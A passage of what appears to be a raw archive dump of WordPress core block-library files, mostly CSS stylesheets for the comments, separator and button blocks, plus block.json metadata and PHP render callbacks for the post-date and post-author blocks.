true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } } }, "editorStyle": "wp-block-comments-editor", "usesContext": [ "postId", "postType" ] } blocks/comments/style-rtl.min.css000064400000004430147177035020013110 0ustar00.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:right}.wp-block-post-comments .alignright{float:left}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}blocks/comments/editor-rtl.min.css000064400000010411147177035020013232 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:right}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:left}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}blocks/comments/style.css000064400000004776147177035020011544 0ustar00.wp-block-post-comments{ box-sizing:border-box; } .wp-block-post-comments .alignleft{ float:left; } .wp-block-post-comments .alignright{ float:right; } .wp-block-post-comments .navigation:after{ clear:both; content:""; display:table; } .wp-block-post-comments .commentlist{ clear:both; list-style:none; margin:0; padding:0; } .wp-block-post-comments .commentlist .comment{ min-height:2.25em; padding-left:3.25em; } .wp-block-post-comments .commentlist .comment p{ font-size:1em; line-height:1.8; margin:1em 0; } .wp-block-post-comments .commentlist .children{ list-style:none; margin:0; padding:0; } .wp-block-post-comments .comment-author{ line-height:1.5; } .wp-block-post-comments .comment-author .avatar{ border-radius:1.5em; display:block; float:left; height:2.5em; margin-right:.75em; margin-top:.5em; width:2.5em; } .wp-block-post-comments .comment-author cite{ font-style:normal; } .wp-block-post-comments .comment-meta{ font-size:.875em; line-height:1.5; } .wp-block-post-comments .comment-meta b{ font-weight:400; } .wp-block-post-comments .comment-meta .comment-awaiting-moderation{ display:block; margin-bottom:1em; margin-top:1em; } .wp-block-post-comments .comment-body .commentmetadata{ font-size:.875em; } .wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-post-comments .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-post-comments .comment-reply-title{ margin-bottom:0; } .wp-block-post-comments .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-left:.5em; } .wp-block-post-comments .reply{ font-size:.875em; margin-bottom:1.4em; } .wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{ padding:calc(.667em + 2px); } :where(.wp-block-post-comments input[type=submit]){ border:none; }blocks/post-date.php000064400000003007147177035020010440 0ustar00context['postId'] ) ) { return ''; } $post_ID = $block->context['postId']; $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); $formatted_date = get_the_date( empty( $attributes['format'] ) ? '' : $attributes['format'], $post_ID ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $formatted_date = sprintf( '%2s', get_the_permalink( $post_ID ), $formatted_date ); } return sprintf( '
    ', $wrapper_attributes, esc_attr( get_the_date( 'c', $post_ID ) ), $formatted_date ); } /** * Registers the `core/post-date` block on the server. */ function register_block_core_post_date() { register_block_type_from_metadata( __DIR__ . '/post-date', array( 'render_callback' => 'render_block_core_post_date', ) ); } add_action( 'init', 'register_block_core_post_date' ); blocks/post-author.php000064400000004066147177035020011033 0ustar00context['postId'] ) ) { return ''; } $author_id = get_post_field( 'post_author', $block->context['postId'] ); if ( empty( $author_id ) ) { return ''; } $avatar = ! empty( $attributes['avatarSize'] ) ? get_avatar( $author_id, $attributes['avatarSize'] ) : null; $byline = ! empty( $attributes['byline'] ) ? $attributes['byline'] : false; $classes = array_merge( isset( $attributes['itemsJustification'] ) ? array( 'items-justified-' . $attributes['itemsJustification'] ) : array(), isset( $attributes['textAlign'] ) ? array( 'has-text-align-' . $attributes['textAlign'] ) : array() ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '
    ', $wrapper_attributes ) . ( ! empty( $attributes['showAvatar'] ) ? '' : '' ) . '' . '
    '; } /** * Registers the `core/post-author` block on the server. */ function register_block_core_post_author() { register_block_type_from_metadata( __DIR__ . '/post-author', array( 'render_callback' => 'render_block_core_post_author', ) ); } add_action( 'init', 'register_block_core_post_author' ); blocks/separator/editor-rtl.css000064400000003254147177035020012632 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-editor-block-list__block[data-type="core/separator"] { padding-top: 0.1px; padding-bottom: 0.1px; } .block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots { background: none !important; }blocks/separator/style.min.css000064400000000531147177035020012462 0ustar00@charset "UTF-8";.wp-block-separator{border-top:1px solid;border-bottom:1px solid}.wp-block-separator.is-style-dots{background:none!important;border:none;text-align:center;line-height:1;height:auto}.wp-block-separator.is-style-dots:before{content:"···";color:currentColor;font-size:1.5em;letter-spacing:2em;padding-left:2em;font-family:serif}blocks/separator/editor.css000064400000003254147177035020012033 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-editor-block-list__block[data-type="core/separator"] { padding-top: 0.1px; padding-bottom: 0.1px; } .block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots { background: none !important; }blocks/separator/style-rtl.css000064400000003563147177035020012507 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-separator { border-top: 1px solid currentColor; border-bottom: 1px solid currentColor; } .wp-block-separator.is-style-dots { background: none !important; border: none; text-align: center; line-height: 1; height: auto; } .wp-block-separator.is-style-dots::before { content: "···"; color: currentColor; font-size: 1.5em; letter-spacing: 2em; padding-left: 2em; font-family: serif; }blocks/separator/editor.min.css000064400000000330147177035020012605 0ustar00.block-editor-block-list__block[data-type="core/separator"]{padding-top:.1px;padding-bottom:.1px}.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{background:none!important}blocks/separator/theme-rtl.min.css000064400000000665147177035020013233 0ustar00.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-right:auto;margin-left:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}blocks/separator/block.json000064400000001624147177035020012017 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/separator", "title": "Separator", "category": "design", "description": "Create a break between ideas or sections with a horizontal separator.", "keywords": [ "horizontal-line", "hr", "divider" ], "textdomain": "default", "attributes": { "opacity": { "type": "string", "default": "alpha-channel" } }, "supports": { "anchor": true, "align": [ "center", "wide", "full" ], "color": { "__experimentalSkipSerialization": true, "gradients": true, "background": true, "text": false, "__experimentalDefaultControls": { "background": true } } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "wide", "label": "Wide Line" }, { "name": "dots", "label": "Dots" } ], "editorStyle": "wp-block-separator-editor", "style": "wp-block-separator" } blocks/separator/style-rtl.min.css000064400000000531147177035020013261 0ustar00@charset "UTF-8";.wp-block-separator{border-top:1px solid;border-bottom:1px solid}.wp-block-separator.is-style-dots{background:none!important;border:none;text-align:center;line-height:1;height:auto}.wp-block-separator.is-style-dots:before{content:"···";color:currentColor;font-size:1.5em;letter-spacing:2em;padding-left:2em;font-family:serif}blocks/separator/editor-rtl.min.css000064400000000330147177035020013404 0ustar00.block-editor-block-list__block[data-type="core/separator"]{padding-top:.1px;padding-bottom:.1px}.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{background:none!important}blocks/separator/theme.min.css000064400000000665147177035020012434 0ustar00.wp-block-separator.has-css-opacity{opacity:.4}.wp-block-separator{border:none;border-bottom:2px solid;margin-left:auto;margin-right:auto}.wp-block-separator.has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots){height:2px}blocks/separator/theme.css000064400000003707147177035020011652 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-separator.has-css-opacity { opacity: 0.4; } .wp-block-separator { border: none; border-bottom: 2px solid currentColor; margin-left: auto; margin-right: auto; } .wp-block-separator.has-alpha-channel-opacity { opacity: initial; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots) { width: 100px; } .wp-block-separator.has-background:not(.is-style-dots) { border-bottom: none; height: 1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots) { height: 2px; }blocks/separator/theme-rtl.css000064400000003707147177035020012451 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-separator.has-css-opacity { opacity: 0.4; } .wp-block-separator { border: none; border-bottom: 2px solid currentColor; margin-right: auto; margin-left: auto; } .wp-block-separator.has-alpha-channel-opacity { opacity: initial; } .wp-block-separator:not(.is-style-wide):not(.is-style-dots) { width: 100px; } .wp-block-separator.has-background:not(.is-style-dots) { border-bottom: none; height: 1px; } .wp-block-separator.has-background:not(.is-style-wide):not(.is-style-dots) { height: 2px; }blocks/separator/style.css000064400000003604147177035020011704 0ustar00@charset "UTF-8"; /** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-separator { border-top: 1px solid currentColor; border-bottom: 1px solid currentColor; } .wp-block-separator.is-style-dots { background: none !important; border: none; text-align: center; line-height: 1; height: auto; } .wp-block-separator.is-style-dots::before { content: "···"; color: currentColor; font-size: 1.5em; letter-spacing: 2em; /*rtl:ignore*/ padding-left: 2em; font-family: serif; }blocks/button/editor-rtl.css000064400000005301147177035020012140 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] > .wp-block-button { text-align: center; margin-right: auto; margin-left: auto; } .wp-block[data-align=right] > .wp-block-button { text-align: right; } .wp-block-button { position: relative; cursor: text; } .wp-block-button:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: -2px; } .wp-block-button[data-rich-text-placeholder]::after { opacity: 0.8; } .wp-block-button__inline-link { color: #757575; height: 0; overflow: hidden; max-width: 290px; } .wp-block-button__inline-link-input__suggestions { max-width: 290px; } @media (min-width: 782px) { .wp-block-button__inline-link { max-width: 260px; } .wp-block-button__inline-link-input__suggestions { max-width: 260px; } } @media (min-width: 960px) { .wp-block-button__inline-link { max-width: 290px; } .wp-block-button__inline-link-input__suggestions { max-width: 290px; } } .is-selected .wp-block-button__inline-link { height: auto; overflow: visible; } .wp-button-label__width .components-button-group { display: block; } .wp-button-label__width .components-base-control__field { margin-bottom: 12px; } div[data-type="core/button"] { display: table; }blocks/button/style.min.css000064400000004054147177035020012001 0ustar00.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;cursor:pointer;display:inline-block;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-align:center;text-decoration:none;word-break:break-word;box-sizing:border-box}.wp-block-button__link:active,.wp-block-button__link:focus,.wp-block-button__link:hover,.wp-block-button__link:visited{color:#fff}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*0.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*0.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*0.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{width:100%;flex-basis:100%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}.is-style-outline>:where(.wp-block-button__link),:where(.wp-block-button__link).is-style-outline{border:2px solid;padding:.667em 1.333em}.is-style-outline>.wp-block-button__link:not(.has-text-color),.wp-block-button__link.is-style-outline:not(.has-text-color){color:currentColor}.is-style-outline>.wp-block-button__link:not(.has-background),.wp-block-button__link.is-style-outline:not(.has-background){background-color:transparent}blocks/button/editor.css000064400000005323147177035020011345 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] > .wp-block-button { text-align: center; margin-left: auto; margin-right: auto; } .wp-block[data-align=right] > .wp-block-button { /*!rtl:ignore*/ text-align: right; } .wp-block-button { position: relative; cursor: text; } .wp-block-button:focus { box-shadow: 0 0 0 1px #fff, 0 0 0 3px var(--wp-admin-theme-color); outline: 2px solid transparent; outline-offset: -2px; } .wp-block-button[data-rich-text-placeholder]::after { opacity: 0.8; } .wp-block-button__inline-link { color: #757575; height: 0; overflow: hidden; max-width: 290px; } .wp-block-button__inline-link-input__suggestions { max-width: 290px; } @media (min-width: 782px) { .wp-block-button__inline-link { max-width: 260px; } .wp-block-button__inline-link-input__suggestions { max-width: 260px; } } @media (min-width: 960px) { .wp-block-button__inline-link { max-width: 290px; } .wp-block-button__inline-link-input__suggestions { max-width: 290px; } } .is-selected .wp-block-button__inline-link { height: auto; overflow: visible; } .wp-button-label__width .components-button-group { display: block; } .wp-button-label__width .components-base-control__field { margin-bottom: 12px; } div[data-type="core/button"] { display: table; }blocks/button/style-rtl.css000064400000007375147177035020012027 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-button__link { color: #fff; background-color: #32373c; border-radius: 9999px; box-shadow: none; cursor: pointer; display: inline-block; font-size: 1.125em; padding: calc(0.667em + 2px) calc(1.333em + 2px); text-align: center; text-decoration: none; word-break: break-word; box-sizing: border-box; } .wp-block-button__link:hover, .wp-block-button__link:focus, .wp-block-button__link:active, .wp-block-button__link:visited { color: #fff; } .wp-block-button__link.aligncenter { text-align: center; } .wp-block-button__link.alignright { text-align: right; } .wp-block-buttons > .wp-block-button.has-custom-width { max-width: none; } .wp-block-buttons > .wp-block-button.has-custom-width .wp-block-button__link { width: 100%; } .wp-block-buttons > .wp-block-button.has-custom-font-size .wp-block-button__link { font-size: inherit; } .wp-block-buttons > .wp-block-button.wp-block-button__width-25 { width: calc(25% - 